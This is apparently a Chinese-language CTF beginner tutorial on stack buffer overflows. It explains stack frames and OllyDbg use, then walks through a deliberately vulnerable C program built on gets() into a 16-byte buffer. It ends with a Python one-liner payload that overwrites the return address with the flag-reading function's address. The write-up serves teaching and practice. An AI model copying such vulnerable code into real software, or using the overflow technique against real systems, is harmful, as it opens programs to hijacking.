栈溢出覆盖返回地址

    xiaoxiao2023-11-25  149

    函数的调用过程:如果 A() 调用 B(),A() 先将 B() 的参数逆序压栈,然后将调用完 B() 后的下一条指令的地址 EIP 压栈。进入 B() 后,B() 先将 A() 的栈底 EBP 压栈,然后建立自己的栈。B() 结束后,可将 A() 的 EBP 弹出,恢复 A() 的栈底,然后弹出 A() 的下一条指令地址 EIP,A() 得以继续执行。

    OllyDbg 用法:

    F2 断点F9 跳到断点F7 单步执行,进入函数内部F8 单步执行,跳过函数

    比赛中不会给出源码:

    #include<stdio.h> #include<stdlib.h> int stack_over_flow() { char Password[16] = { 0, }; gets(Password); return 0; } void readfile() { FILE* fp; char FileStr[20] = { 0, }; printf("You've got the flag:\n"); if (fp = fopen("flag.txt", "r")) { fgets(FileStr, 48, fp); printf("%s\n", FileStr); fclose(fp); } else printf("File error!\n"); exit(0); } int main() { printf("Welcome!\n"); printf("Please input your password(within 8 characters):\n"); stack_over_flow(); printf("Good Bye!\n"); return 0; }

    漏洞在函数 stack_over_flow()的 gets()函数中,缓冲区只有 16 个字节,如果输入长度大于 16,将覆盖很多重要数据包括 stack_over_flow()函数的返回地址(需要学习栈相关内容)。远程服务器运行的例程的目录下有一个 flag.txt 文件,存放 flag,而程序中已经写好了读取的代码 readfile()但并没有被调用。我们通过缓冲区溢出覆盖到 stack_over_flow()函数的返回地址,让其返回到 readfile()就可以拿到 flag。

    先用 IDA 按 F5 查看反编译。

    用 OllyDBG 打开编译后的 c.exe: F7 进入 CALL c.00401014

    F8 继续 进入到 main() ,入口地址是 0x00401180

    F8 一直到达 CALL c.0x0040100A 行后,F7 进入

    双击 JMP c.readfile,查看 readfile() 的入口地址为:0x004010A0

    继续 F8 进入到 stack_over_flow() ,入口地址是 0x00401040

    F8 到 CALL c.gets,输入 8 个 ‘A’(16 进制为 0x41),栈为: 20 个字节中:

    以下 16 字节为栈空间: 41414141 41414141 00000000 00000000

    0019FF40 为之前保存的 ebp

    004011B7 为函数的返回地址

    可以输入 20 个 A,然后用 readfile() 的入口地址覆盖返回地址 004011B7,这样当程序返回时就从栈中取出 readfile() 的入口地址作为 EIP 寄存器的内容,于是程序跳到了 EIP 处,读取文件显示 flag。

    找到 readfile() ,其入口地址,是 0x004010A0

    可借助 Python 输出重定向输入一些不能从键盘打印出的字符:

    python -c "print 'A'*20+'\xA0'+'\x10'+'\x40'+'\x00'" | C:\Users\yjp\Desktop\c\Debug\c.exe 管道符号:| 用来把 Python 输出重定向到 c.exe 的输入。20 个 A:填充栈内空间。004010A0:readfile() 的入口地址。因为是 16 进制,所以有 ‘\x’,intel CPU 采用小端序,填的位置正好位于 stack_over_flow() 的返回地址处,相当于修改了这一地址。

    由于没有写 flag.txt,所以会出现 File error!

    参考 天枢 CTF-PWN 入门指导与学习路线 浅析函数调用栈 https://www.cnblogs.com/damumu/p/7320418.html

    最新回复(0)